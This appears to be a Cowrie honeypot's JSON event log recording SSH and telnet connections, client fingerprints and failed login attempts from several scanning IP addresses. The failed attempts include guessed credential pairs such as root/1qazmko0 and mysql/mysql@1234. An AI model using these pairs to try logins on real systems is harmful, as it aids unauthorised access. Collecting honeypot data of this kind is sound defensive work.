{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:10.072854Z","src_ip":"45.66.52.41","session":"9901f158b17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd273140dd57","protocol":"ssh","message":"New connection: 45.153.34.112:46516 (10.17.0.5:22) [session: bd273140dd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.037686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.042757Z","src_ip":"45.153.34.112","session":"bd273140dd57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.125355Z","src_ip":"45.153.34.112","session":"bd273140dd57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42890,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d408dc8be08","protocol":"telnet","message":"New connection: 192.119.13.58:42890 (10.17.0.5:23) [session: 7d408dc8be08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.231859Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.251636Z","src_ip":"45.66.52.41","session":"9901f158b17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:11.373281Z","src_ip":"45.153.34.112","session":"bd273140dd57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:12.460551Z","src_ip":"45.153.34.112","session":"bd273140dd57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd1234c7e2e","protocol":"telnet","message":"New connection: 192.119.13.58:49294 (10.17.0.5:23) [session: 3fd1234c7e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:12.964503Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46526,"dst_ip":"10.17.0.5","dst_port":22,"session":"d08aec423dd4","protocol":"ssh","message":"New connection: 45.153.34.112:46526 (10.17.0.5:22) [session: d08aec423dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:14.289311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:14.299087Z","src_ip":"45.153.34.112","session":"d08aec423dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:14.433991Z","src_ip":"45.153.34.112","session":"d08aec423dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:14.771165Z","src_ip":"45.153.34.112","session":"d08aec423dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.76040863990784,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:15.332500Z","src_ip":"192.119.13.58","session":"0a944e19ba1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:15.856677Z","src_ip":"45.153.34.112","session":"d08aec423dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46538,"dst_ip":"10.17.0.5","dst_port":22,"session":"7389b6cff561","protocol":"ssh","message":"New connection: 45.153.34.112:46538 (10.17.0.5:22) [session: 7389b6cff561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:17.822200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:17.827923Z","src_ip":"45.153.34.112","session":"7389b6cff561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:17.911953Z","src_ip":"45.153.34.112","session":"7389b6cff561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:18.163812Z","src_ip":"45.153.34.112","session":"7389b6cff561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84373450279236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:18.546677Z","src_ip":"192.119.13.58","session":"41ee8d80d93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:19.250119Z","src_ip":"45.153.34.112","session":"7389b6cff561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":33026,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bed1f53d3b","protocol":"ssh","message":"New connection: 106.251.244.178:33026 (10.17.0.5:22) [session: 28bed1f53d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:19.565109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:19.570191Z","src_ip":"106.251.244.178","session":"28bed1f53d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:19.768431Z","src_ip":"106.251.244.178","session":"28bed1f53d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99517273902893,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:20.444175Z","src_ip":"192.119.13.58","session":"739812896f7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ikwd","message":"login attempt [root/ikwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:20.594204Z","src_ip":"106.251.244.178","session":"28bed1f53d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3af57db9e21","protocol":"ssh","message":"New connection: 193.32.162.145:32820 (10.17.0.5:22) [session: d3af57db9e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:20.635055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:20.638991Z","src_ip":"193.32.162.145","session":"d3af57db9e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:20.742964Z","src_ip":"193.32.162.145","session":"d3af57db9e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.049775Z","src_ip":"193.32.162.145","session":"d3af57db9e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41004,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd2374a1a0b","protocol":"ssh","message":"New connection: 45.153.34.112:41004 (10.17.0.5:22) [session: 3dd2374a1a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.157142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.161606Z","src_ip":"45.153.34.112","session":"3dd2374a1a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.243691Z","src_ip":"45.153.34.112","session":"3dd2374a1a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.492025Z","src_ip":"45.153.34.112","session":"3dd2374a1a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eed00a4b9a7","protocol":"telnet","message":"New connection: 192.119.13.58:57180 (10.17.0.5:23) [session: 6eed00a4b9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.592762Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:21.794688Z","src_ip":"106.251.244.178","session":"28bed1f53d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:22.269071Z","src_ip":"193.32.162.145","session":"d3af57db9e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:22.585895Z","src_ip":"45.153.34.112","session":"3dd2374a1a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34858,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb9069ea13e","protocol":"telnet","message":"New connection: 192.119.13.58:34858 (10.17.0.5:23) [session: 6fb9069ea13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:22.999258Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41014,"dst_ip":"10.17.0.5","dst_port":22,"session":"11faf6ed9580","protocol":"ssh","message":"New connection: 45.153.34.112:41014 (10.17.0.5:22) [session: 11faf6ed9580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:24.521968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:24.529889Z","src_ip":"45.153.34.112","session":"11faf6ed9580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:24.612416Z","src_ip":"45.153.34.112","session":"11faf6ed9580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:25.066346Z","src_ip":"45.153.34.112","session":"11faf6ed9580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e7d292eb70","protocol":"telnet","message":"New connection: 192.119.13.58:43836 (10.17.0.5:23) [session: d3e7d292eb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:25.081406Z"}
{"eventid":"cowrie.session.closed","duration":39.75155019760132,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:25.474094Z","src_ip":"192.119.13.58","session":"1ef9298f1339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.151111Z","src_ip":"45.153.34.112","session":"11faf6ed9580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.836503982543945,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.217834Z","src_ip":"192.119.13.58","session":"aaf437d2b5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.117045164108276,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.360251Z","src_ip":"192.119.13.58","session":"b68005ae8e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":58412,"dst_ip":"10.17.0.5","dst_port":22,"session":"65921183420f","protocol":"ssh","message":"New connection: 43.173.122.127:58412 (10.17.0.5:22) [session: 65921183420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.853730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:26.858484Z","src_ip":"43.173.122.127","session":"65921183420f","protocol":"ssh"}
